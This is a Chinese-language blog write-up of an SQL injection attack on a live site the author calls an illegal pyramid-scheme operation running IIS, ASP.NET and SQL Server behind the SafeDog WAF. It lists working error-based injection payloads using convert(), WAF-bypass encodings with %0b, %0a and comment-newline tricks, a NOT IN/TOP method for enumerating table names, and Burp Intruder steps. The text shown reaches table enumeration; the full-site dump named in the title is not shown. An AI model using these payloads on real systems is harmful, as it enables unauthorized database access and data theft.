记一次对某非法站点从SQL注入到整站打包与本地搭建全过程


记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 
 
一、前言如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过 。
 
二、信息搜集目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云 。
 
三.pass Sq 
3.1 Fuzz
记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 
根据如上测试可以看出程序本身也有过滤,error为程序自身的过滤 。可以利用IIS处理%符号的机制绕过部分符号,例如空格使用%0b 加号使用%2b等 。再根据测试的结果,可以先利用convert转换报错获取一部分信息 。
 
记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 
goodscontent.aspx?gid=convert(int,@@version)#版本信息goodscontent.aspx?gid=convert(int,db_name())#数据库信息goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户……tips:可以通过遍历db_name(1)中的数字获取其他库名goodscontent.aspx?gid=convert(int,@@version)#版本信息goodscontent.aspx?gid=convert(int,db_name())#数据库信息goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户……tips:可以通过遍历db_name(1)中的数字获取其他库名得到以
ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)用户名:sa计算机名:10_*_76_*SQLEXPRESS10.*.76.*当前库:pan20170823所有库名:pan20170823mastertempdbmodelmsdbReportServer$SQLEXPRESSReportServer$SQLEXPRESSTempDB再往下就是获取表的信息
1.goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数
记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 
由于我只会简单的select from因此始终无法获取表名,如果有其他姿势还望给科普下 。
记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 
3.2 万金油
此时陷入僵局,后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立,遂构造之 。
goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可获取到第一个表名:jsrecord 
记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 
由于还是没能绕过单引号和等号,我始终用不了not in与for xml path来爆后续的表名,这又触及到了我知识盲区,因此只好查阅大量文章案例,最终构造出如下语句 。
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 
此时只需要遍历top的数值即可,例如:
 
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 
通过不断的遍历数值发现还是存在问题
举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决
 
操作如下:首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)
记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 

记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 
然后使用Grep-Extact提取表名 。
记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 

记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 

记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文章插图
 
保存结果后去重即可 。
 
记一次对某非法站点从SQL注入到整站打包与本地搭建全过程


推荐阅读